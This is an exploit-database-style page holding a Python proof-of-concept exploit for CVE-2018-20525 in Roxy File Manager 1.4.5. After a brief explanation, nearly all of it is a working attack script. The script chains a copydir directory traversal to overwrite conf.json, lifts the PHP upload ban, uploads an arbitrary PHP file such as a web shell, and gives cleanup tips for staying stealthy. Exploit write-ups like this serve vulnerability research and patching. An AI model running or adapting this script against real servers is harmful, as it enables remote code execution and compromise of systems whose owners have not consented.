Authored by Adam Shebani

Roxy File Manager version 1.4.5 proof of concept exploit for a PHP file upload restriction bypass vulnerability.

advisories | CVE-2018-20525

# Exploit Title: Roxy File Manager 1.4.5 PHP File Upload Restriction Bypass
# Exploit Author: Adam Shebani (NULLHE4D)
# Date: 07/03/2022
# Software: Roxy File Manager
# Version: 1.4.5
# CVE: CVE-2018-20525
# Vendor Homepage: http://www.roxyfileman.com/
# Software Link: http://www.roxyfileman.com/download.php?f=1.4.5-php
# Tested on: PHP 7.2 on Ubuntu 20.04 LTS and PHP 7.4 on Windows 10


# Roxy File Manager 1.4.5 restricts uploading files with certain
# extensions, including various PHP extensions. These forbidden
# extensions are configured in a file called 'conf.json' at the root
# of the file manager's code base. Sections #1 and #1.1 at
# https://www.exploit-db.com/exploits/46085 demonstrate a directory
# traversal vulnerability that allows exfiltrating arbitrary
# directories by copying them to a directory accessible through the
# file manager's web interface. The same vulnerability can be used
# to overwrite the 'conf.json' file by copying a directory
# containing a modified configuration file that has been uploaded.
# The directory must have the same name as the original
# configuration file's parent directory (usually 'fileman'). The
# source and destination directories will be merged and files from
# the destination directory get overwritten by the ones from the
# source if they have the same name.


import argparse, requests, json, re
from urllib.parse import urlparse, quote_plus
from random import randint
#from os import remove
from os.path import isfile


def failure():
print("[*] it is advised to manually cleanup any files/directories created on the target by this exploit")
exit(1)


argparser = argparse.ArgumentParser()
argparser.add_argument("-u", "--url", type=str, action="store", help="The URL to the target Roxy File Manager instance (e.g. http://localhost/fileman/)", required=True)
argparser.add_argument("-f", "--file", type=str, action="store", help="The PHP file to upload (e.g. shell.php)", required=True)
args = argparser.parse_args()

roxy_url = args.url
php_file = args.file
if not isfile(php_file):
print("[-] specified PHP file not found")
exit(1)

user_agent = "Mozilla/5.0 (Windows NT 6.4; rv:75.0.0) Gecko/20100101 Firefox/75.0.0"
headers = {"User-Agent": user_agent}
form_headers = {"User-Agent": user_agent, "Content-Type": "application/x-www-form-urlencoded"}
roxy_url += "" if roxy_url.endswith("/") else "/"
roxy_hostname = urlparse(roxy_url).hostname
uploads_path = urlparse(roxy_url).path + "Uploads"


# verify Roxy File Manager instance
res = requests.get(roxy_url, headers=headers, allow_redirects=False)
if res.status_code == 200 and "<title>Roxy file manager</title>" in res.text:
print("[+] verified Roxy File Manager instance at " + roxy_url)
else:
print("[-] couldn't find a Roxy File Manager instance at the specified URL")
exit(1)


# get conf.json
url = roxy_url + "conf.json"
res = requests.get(url, headers=headers)
if res.status_code == 200:
orig_conf = res.text
orig_conf_json = json.loads(orig_conf)
extensions = orig_conf_json["FORBIDDEN_UPLOADS"].split()
if not "php" in extensions:
print("[*] PHP files are already not forbidden from being uploaded")
exit(0)
else:
print("[-] couldn't find conf.json")
exit(1)


# verify directory traversal vulnerability in fileslist
url = roxy_url + "php/fileslist.php"
body = "d={}&type=".format(quote_plus(uploads_path+"/.."))
res = requests.post(url, headers=form_headers, data=body)
res_json = json.loads(res.text)
if res.status_code == 200 and len(res_json) > 0 and "conf.json" in res.text:
print("[+] verified directory traversal vulnerability in fileslist")
else:
print("[-] couldn't verify directory traversal vulnerability in fileslist")
exit(1)


# create fileman directory structure
url = roxy_url + "php/createdir.php"
random_dirname = "".join([str(randint(0,9)) for i in range(10)])
body = "d={}&n={}".format(quote_plus(uploads_path), random_dirname)
res = requests.post(url, headers=form_headers, data=body)
if not '"res":"ok"' in res.text:
print("[-] failed to create fileman directory structure")
exit(1)
tmp_path = uploads_path + "/" + random_dirname

body = "d={}&n={}".format(quote_plus(tmp_path), "fileman")
res = requests.post(url, headers=form_headers, data=body)
if not '"res":"ok"' in res.text:
print("[-] failed to create fileman directory structure")
failure()
fileman_path = tmp_path + "/fileman"


# upload modified conf.json
url = roxy_url + "php/upload.php"
modified_conf = re.sub("sphps", " ", orig_conf)
with open("conf.json", "w") as conf_file:
conf_file.write(modified_conf)
body = {"action": (None, "upload"), "method": (None, "ajax"), "d": (None, fileman_path), "files[]": open("conf.json", "rb")}
res = requests.post(url, headers=headers, files=body)
#remove("conf.json")
if '"res":"ok"' in res.text:
print("[+] created fileman directory structure with modified conf.json")
else:
print("[-] failed to upload modified conf.json")
failure()


# overwrite server conf.json with copydir directory traversal vulnerability
url = roxy_url + "php/copydir.php"
body = "d={}&n={}".format(quote_plus(fileman_path), quote_plus(uploads_path+"/../.."))
res = requests.post(url, headers=form_headers, data=body)
if '"res":"ok"' in res.text:
print("[+] overwritten server conf.json using copydir directory traversal")
else:
print("[-] failed to overwrite server conf.json using copydir directory traversal")
failure()


# upload php file
url = roxy_url + "php/upload.php"
body = {"action": (None, "upload"), "method": (None, "ajax"), "d": (None, tmp_path), "files[]": open(php_file, "rb")}
res = requests.post(url, headers=headers, files=body)
if '"res":"ok"' in res.text:
print("[+] successfully uploaded PHP file")
print("[*] you can manually request the file at: " + "/".join(roxy_url.split("/")[:3]) + tmp_path + "/" + php_file)
print("[*] don't forget to delete this as well as it's containing directory using the file manager if you wanna be stealthy")
else:
print("[-] failed to upload PHP file")
failure()


# restore original conf.json and cleanup unwanted files/dirs
url = roxy_url + "php/deletefile.php"
body = "f=" + quote_plus(fileman_path+"/conf.json")
res = requests.post(url, headers=form_headers, data=body)
if not '"res":"ok"' in res.text:
print("[-] failed to cleanup")
failure()

url = roxy_url + "php/upload.php"
with open("conf.json", "w") as conf_file:
conf_file.write(orig_conf)
body = {"action": (None, "upload"), "method": (None, "ajax"), "d": (None, fileman_path), "files[]": open("conf.json", "rb")}
res = requests.post(url, headers=headers, files=body)
#remove("conf.json")
if not '"res":"ok"' in res.text:
print("[-] failed to cleanup")
failure()

url = roxy_url + "php/copydir.php"
body = "d={}&n={}".format(quote_plus(fileman_path), quote_plus(uploads_path+"/../.."))
res = requests.post(url, headers=form_headers, data=body)
if '"res":"ok"' in res.text:
print("[+] original conf.json restored")
else:
print("[-] failed to cleanup")
failure()

url = roxy_url + "php/deletefile.php"
body = "f=" + quote_plus(fileman_path+"/conf.json")
res = requests.post(url, headers=form_headers, data=body)
if not '"res":"ok"' in res.text:
print("[-] failed to cleanup")
failure()

url = roxy_url + "php/deletedir.php?d=" + quote_plus(fileman_path)
res = requests.get(url, headers=headers)
if '"res":"ok"' in res.text:
print("[+] cleanup finished successfully")
else:
print("[-] failed to cleanup")
failure()